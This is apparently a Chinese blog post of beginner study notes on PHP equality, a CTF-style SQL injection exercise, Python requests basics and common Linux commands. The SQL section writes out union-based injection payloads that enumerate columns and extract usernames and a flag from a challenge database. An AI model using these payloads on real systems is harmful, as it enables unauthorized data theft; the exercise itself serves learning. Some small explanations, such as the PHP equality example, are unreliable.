

原创

[想学python的元气汪](#) 于 2020-02-08 12:56:15 发布 231 收藏

版权声明：本文为博主原创文章，遵循 [CC 4.0 BY-SA](#) 版权协议，转载请附上原文出处链接和本声明。

本文链接：https://blog.csdn.net/qq_43641982/article/details/103569450

版权

PHP

- 3个等号是变量值和类型都相同，而2个等号是变量相同
eg: `100=="100"`结果为真，`100===100`结果为假，因为类型不同
- `echo`可以输出一个或多个字符串，`print`只允许输出一个字符串

SQL

- 选择:

```
select * from table from 范围
```

eg:一道sql题

- 查看源码

```
<!--union注入-->  
<!--"select * from users2 where name=' ' + username + "' "-->  
<!--if password == rs.password-->
```

- 1'报错由于union注入于是构造1' union select 1,2,3,4#

The used SELECT statements have a different number of columns

得到结果:

发现个数不太对

- 开始试1' union select 1,2,3#

wrong password

显示密码错误

- 试试123, 3正确

得到结果:

hello! 2

说明2是注入点

- 构造1' union select 1,(select name from users2 limit 0,1),3#

得到结果

hello! user2

-构造1' union select 1,(select name from users2 limit 1,1),3#

hello! wctf{simp1e23478_you_g0t_1t}

额外: 解释limit作用

```
select * from table limit 10
```

显示前10行数据, 显示1~10条数据

```
select * from table limit 1,10
```

检索 从第二行开始, 显示10条, 即2~11

Python的requests库

网络爬虫通过HTTP库向目标发起请求就是发送一个request。如果服务器响应, 就得到response, 就是页面的内容

- 网络爬虫: 是按照规则自动抓取万维网信息的程序或者脚本
- request内容

请求方式: GET和POST (常用), HEAD, PUT, DELETE, OPTIONS

请求URL: 爬虫获取数据的基本依据

请求头

请求体

- response内容

响应状态 (200, 301, 404, 502等)

响应头

响应体

- request功能演示

```
import requests

response = requests.get("https://www.baidu.com")
print(type(response))
print(response.status_code)
print(type(response.text))
print(response.text)
print(response.cookies)
print(response.content)
print(response.content.decode("utf-8"))
```

get代表请求方式

Linux的常见命令

ls命令 (list)

ls[选项][文件目录]

-a: 显示所有文件目录

-l: 显示详细信息

-d: 查看目录属性

eg: ls -al: 显示当前目录下所有文件目录详细信息, 包括隐藏文件

```
ater@ater-virtual-machine:~$ ls -a
.  .bash_history  .bashrc  .config  .gnupg  .local  .profile  snap  .sudo_as_admin_successful  .xinputrc  模板  图片  下载  桌面
.. .bash_logout  .cache  examples.desktop  .ICEauthority  .mozilla  share  .ssh  .thunderbird  公共的  视频  文档  音乐
ater@ater-virtual-machine:~$ ls -l
总用量 48
-rw-r--r-- 1 ater ater 8980 11月 4 05:40 examples.desktop
lrwxrwxrwx 1 ater ater 16 11月 12 01:02 share -> /usr/share/share
drwxr-xr-x 3 ater ater 4096 11月 11 21:02 snap
drwxr-xr-x 2 ater ater 4096 11月 4 05:45 公共的
drwxr-xr-x 2 ater ater 4096 11月 4 05:45 模板
drwxr-xr-x 2 ater ater 4096 11月 4 05:45 视频
drwxr-xr-x 2 ater ater 4096 11月 4 05:45 图片
drwxr-xr-x 2 ater ater 4096 11月 4 05:45 文档
drwxr-xr-x 2 ater ater 4096 11月 4 05:45 下载
drwxr-xr-x 2 ater ater 4096 11月 4 05:45 音乐
drwx----- 3 ater ater 4096 11月 11 20:56 桌面
ater@ater-virtual-machine:~$ ls -d
.
ater@ater-virtual-machine:~$ ls -al
总用量 112
drwxr-xr-x 18 ater ater 4096 12月 23 00:19 .
drwxr-xr-x 3 root root 4096 11月 4 05:40 ..
-rw----- 1 ater ater 1154 11月 12 05:30 .bash_history
-rw-r--r-- 1 ater ater 220 11月 4 05:40 .bash_logout
-rw-r--r-- 1 ater ater 3771 11月 4 05:40 .bashrc
drwx----- 16 ater ater 4096 11月 12 02:49 .cache
drwx----- 11 ater ater 4096 11月 4 05:55 .config
-rw-r--r-- 1 ater ater 8980 11月 4 05:40 examples.desktop
drwx----- 3 ater ater 4096 11月 11 20:59 .gnupg
-rw----- 1 ater ater 4114 12月 23 00:19 .ICEauthority
drwx----- 3 ater ater 4096 11月 4 05:45 .local
drwx----- 5 ater ater 4096 11月 4 05:53 .mozilla
```

```

-rw-r--r-- 1 ater ater 807 11月 4 05:40 .profile
lrwxrwxrwx 1 ater ater 16 11月 12 01:02 share -> /mnt/hgfs/share
drwxr-xr-x 3 ater ater 4096 11月 11 21:02 snap
drwx----- 2 ater ater 4096 11月 11 20:59 .ssh
-rw-r--r-- 1 ater ater 0 11月 11 21:08 .sudo_as_admin_successful
drwx----- 4 ater ater 4096 11月 11 20:55 .thunderbird
-rw-rw-r-- 1 ater ater 131 11月 4 05:48 .xinputrc
drwxr-xr-x 2 ater ater 4096 11月 4 05:45 公共的
drwxr-xr-x 2 ater ater 4096 11月 4 05:45 模板
drwxr-xr-x 2 ater ater 4096 11月 4 05:45 视频
drwxr-xr-x 2 ater ater 4096 11月 4 05:45 图片
drwxr-xr-x 2 ater ater 4096 11月 4 05:45 文档
drwxr-xr-x 2 ater ater 4096 11月 4 05:45 下载
drwxr-xr-x 2 ater ater 4096 11月 4 05:45 音乐
drwx----- 3 ater ater 4096 11月 11 20:56 桌面

```

https://blog.csdn.net/qq_43641982

pwd (path working directory)

显示当前目录的绝对路径

```

ater@ater-virtual-machine:~$ pwd
/home/ater

```

cd (change directory)

cd [目录名称]: 切换工作目录

cd ...切换到上层目录

```

ater@ater-virtual-machine:~$ cd share
ater@ater-virtual-machine:~/share$ cd ..
ater@ater-virtual-machine:~$

```

su (substitute user)

su [选项][用户名]: 切换到root用户并更换环境设置

su -

要退出时使用exit

```

ater@ater-virtual-machine:~$ su -
密码:
root@ater-virtual-machine:~# exit
注销
ater@ater-virtual-machine:~$

```

touch

创建新文件: touch newfile

```

ater@ater-virtual-machine:~$ touch newfile

```



https://blog.csdn.net/qq_43641982

cp

cp [选项] 源文件 目标文件: 复制文件(cp /test1/file1 /test2/file2)

-r: 若给出的源文件是目录文件则递归的复制该目录下的子目录和文件(cp -r/test)

mv

mv [源文件][目标文件]: 移动文件

rm

删除文件, 同mv

tar

tar [选项][目的文件][文件或目录]: 将文件目录打包成文件

-c: 打包产生.tar文件

-v: 显示打包过程中的信息

-f: 指定打包后文件 (f要写在最后一选项)

-z: 打包同时压缩(压缩成.gz)

-j: 打包同时压缩(压缩成.bz2)

eg: tar -cvf test.tar test

tar -zcvf test.tar.gz test